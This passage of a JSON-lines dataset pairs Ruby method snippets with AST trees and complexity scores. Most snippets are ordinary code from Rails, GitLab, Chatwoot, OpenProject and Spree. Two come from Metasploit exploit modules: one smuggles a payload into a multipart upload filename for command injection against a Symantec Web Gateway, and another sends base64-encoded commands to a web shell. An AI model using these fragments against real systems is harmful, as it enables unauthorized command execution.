const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/topic/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/reactions\"]}]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"abc88e81-c768-4a36-8c0b-e016051941f3"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/new_base/bare_metal_test.rb","start_line":20,"raw_source":"def assign_response_body_proc\n      self.response_body = proc do |stream|\n        stream.close\n      end\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_response_body_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"response_body=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"close\"]}]}]}]}","id":"e9924073-1e73-467f-8c46-4f275a84cdd2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/model_schema.rb","start_line":199,"raw_source":"def self.derive_join_table_name(first_table, second_table) # :nodoc:\n      [first_table.to_s, second_table.to_s].sort.join(\"\\0\").gsub(/^(.*[_.])(.+)\\0\\1(.+)/, '\\1\\2_\\3').tr(\"\\0\", \"_\")\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"derive_join_table_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_table\"]},{\"type\":\"arg\",\"children\":[\"second_table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_table\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_table\"]},\"to_s\"]}]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(.*[_.])(.+)\\\\0\\\\1(.+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\\\\2_\\\\3\"]}]},\"tr\",{\"type\":\"str\",\"children\":[\"\\u0000\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}","id":"30175914-23c5-443b-b159-2330e86c3055"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/symantec_web_gateway_restore.rb","start_line":159,"raw_source":"def build_mime\n    p = build_payload\n\n    data = Rex::MIME::Message.new\n    data.add_part(\"#{Time.now.to_i}\", nil, nil, 'form-data; name=\"posttime\"')\n    data.add_part('maintenance', nil, nil, 'form-data; name=\"configuration\"')\n    data.add_part('', 'application/octet-stream', nil, 'form-data; name=\"licenseFile\"; filename=\"\"')\n    data.add_part('24', nil, nil, 'form-data; name=\"raCloseInterval\"')\n    data.add_part('', nil, nil, 'form-data; name=\"restore\"')\n    data.add_part(\"#{Rex::Text.rand_text_alpha(4)}\\n\", 'text/plain', nil, \"form-data; name=\\\"restore_file\\\"; filename=\\\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\\\"\")\n    data.add_part('Restore', nil, nil, 'form-data; name=\"restoreFile\"')\n    data.add_part('0', nil, nil, 'form-data; name=\"event_horizon\"')\n    data.add_part('0', nil, nil, 'form-data; name=\"max_events\"')\n    data.add_part(Time.now.strftime(\"%m/%d/%Y\"), nil, nil, 'form-data; name=\"cleanlogbefore\"')\n    data.add_part('', nil, nil, 'form-data; name=\"testaddress\"')\n    data.add_part('', nil, nil, 'form-data; name=\"pingaddress\"')\n    data.add_part('and', nil, nil, 'form-data; name=\"capture_filter_op\"')\n    data.add_part('', nil, nil, 'form-data; name=\"capture_filter\"')\n\n    data\n  end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_mime\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"build_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"posttime\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"maintenance\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"configuration\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"licenseFile\\\"; filename=\\\"\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"24\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"raCloseInterval\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"restore\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"restore_file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\".txt; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"Restore\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"restoreFile\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"event_horizon\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"max_events\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%m/%d/%Y\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"cleanlogbefore\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"testaddress\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"pingaddress\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"and\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"capture_filter_op\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"capture_filter\\\"\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"32575f0d-97a3-4e46-b15d-82bc32e61dd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace_setting.rb","start_line":157,"raw_source":"def all_ancestors_have_runner_registration_enabled?\n    return false unless Gitlab::CurrentSettings.valid_runner_registrars.include?('group')\n\n    return true unless namespace.has_parent?\n\n    !self.class.where(namespace_id: namespace.ancestors, runner_registration_enabled: false).exists?\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all_ancestors_have_runner_registration_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"valid_runner_registrars\"]},\"include?\",{\"type\":\"str\",\"children\":[\"group\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"has_parent?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"ancestors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_registration_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"exists?\"]},\"!\"]}]}]}","id":"7d0e7641-8d5c-4c7c-9ade-78ae18a7bd06"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/members/table_component.rb","start_line":68,"raw_source":"def shared_role_id\n      params[:shared_role_id] if params[:shared_role_id].present? && params[:shared_role_id] != \"all\"\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_role_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_role_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_role_id\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"all\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shared_role_id\"]}]},null]}]}","id":"1a3a4768-6815-40aa-bcd9-3c093c67eea8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/v0pcr3w_exec.rb","start_line":78,"raw_source":"def http_send_command(cmd)\n    p = Rex::Text.encode_base64(cmd)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path.to_s),\n      'vars_get' => {\n        'osc' => p\n      }\n    })\n    if not (res and res.code == 200)\n      fail_with(Failure::Unknown, 'Failed to execute the command.')\n    end\n  end","complexity_score":17.48,"ast_json":"{\"type\":\"def\",\"children\":[\"http_send_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"osc\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to execute the command.\"]}]},null]}]}]}","id":"d50b54df-d8c4-4465-afb8-c609ec78fe6f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader_resolver.rb","start_line":64,"raw_source":"def fix_include_paths(base_config_path, hash, path, key, value)\n      return unless File.basename(base_config_path).start_with?('.rubocop')\n\n      base_dir = File.dirname(base_config_path)\n      derived_dir = File.dirname(path)\n      hash[key]['Include'] = value['Include'].map do |include_path|\n        PathUtil.relative_path(File.join(base_dir, include_path), derived_dir)\n      end\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fix_include_paths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_config_path\"]},{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"base_config_path\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\".rubocop\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"base_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"base_config_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"derived_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"Include\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Include\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"include_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathUtil\"]},\"relative_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_dir\"]},{\"type\":\"lvar\",\"children\":[\"include_path\"]}]},{\"type\":\"lvar\",\"children\":[\"derived_dir\"]}]}]}]}]}]}","id":"df49b9ed-bf2e-4e4e-b20d-ae0f50952202"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/ancestor_filter.rb","start_line":79,"raw_source":"def ancestor_in_values_condition\n    projects_ancestor_table[:id].in(values)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ancestor_in_values_condition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects_ancestor_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"send\",\"children\":[null,\"values\"]}]}]}","id":"8f229861-ecc7-49e0-8338-e0408cf289f6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/platform_controller.rb","start_line":32,"raw_source":"def validate_platform_app_permissible\n    return if @platform_app.platform_app_permissibles.find_by(permissible: @resource)\n\n    render json: { error: 'Non permissible resource' }, status: :unauthorized\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_platform_app_permissible\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@platform_app\"]},\"platform_app_permissibles\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissible\"]},{\"type\":\"ivar\",\"children\":[\"@resource\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Non permissible resource\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]}","id":"28211f80-fc02-4860-a550-76785bc95938"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/overwrite_project_service.rb","start_line":94,"raw_source":"def remove_source_project_from_fork_network(source_project)\n      return unless fork_network\n\n      fork_member = ForkNetworkMember.find_by( # rubocop: disable CodeReuse/ActiveRecord\n        fork_network: fork_network,\n        project: source_project,\n        forked_from_project: @project)\n\n      fork_member&.destroy\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_source_project_from_fork_network\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fork_network\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"fork_member\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForkNetworkMember\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fork_network\"]},{\"type\":\"send\",\"children\":[null,\"fork_network\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"source_project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"forked_from_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fork_member\"]},\"destroy\"]}]}]}","id":"b29e25cb-0e81-4034-8c02-2ae42e415ba2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/children_controller.rb","start_line":58,"raw_source":"def descendants_params\n      safe_params.merge(\n        sort: safe_params[:sort] || @group_projects_sort,\n        active: Gitlab::Utils.to_boolean(safe_params[:active]),\n        archived: Gitlab::Utils.to_boolean(safe_params[:archived], default: safe_params[:archived]),\n        not_aimed_for_deletion: Gitlab::Utils.to_boolean(safe_params[:not_aimed_for_deletion])\n      ).compact\n    end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"descendants_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"ivar\",\"children\":[\"@group_projects_sort\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archived\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archived\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"not_aimed_for_deletion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not_aimed_for_deletion\"]}]}]}]}]}]},\"compact\"]}]}","id":"e150532c-993b-42ea-abde-1be7a5516e31"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/api/v2/accounts/reports_helper.rb","start_line":14,"raw_source":"def generate_inboxes_report\n    reports = V2::Reports::InboxSummaryBuilder.new(\n      account: Current.account,\n      params: build_params(type: :inbox)\n    ).build\n\n    Current.account.inboxes.map do |inbox|\n      report = reports.find { |r| r[:id] == inbox.id }\n      [inbox.name, inbox.channel&.name] + generate_readable_report_metrics(report)\n    end\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_inboxes_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reports\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"V2\"]},\"Reports\"]},\"InboxSummaryBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"inbox\"]}]}]}]}]}]}]},\"build\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"inboxes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inbox\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reports\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel\"]},\"name\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_readable_report_metrics\",{\"type\":\"lvar\",\"children\":[\"report\"]}]}]}]}]}]}]}","id":"3078bf6d-60fa-481c-ab8a-d4c7ab3c3969"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/wishlists_controller.rb","start_line":140,"raw_source":"def scope(skip_cancancan: true)\n            if action_name == 'show'\n              super\n            else\n              super.where(user: spree_current_user)\n            end\n          end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"scope\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"skip_cancancan\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]}]}]}]}]}]}","id":"941d75e6-ef16-4812-958e-97a50b4874e5"}
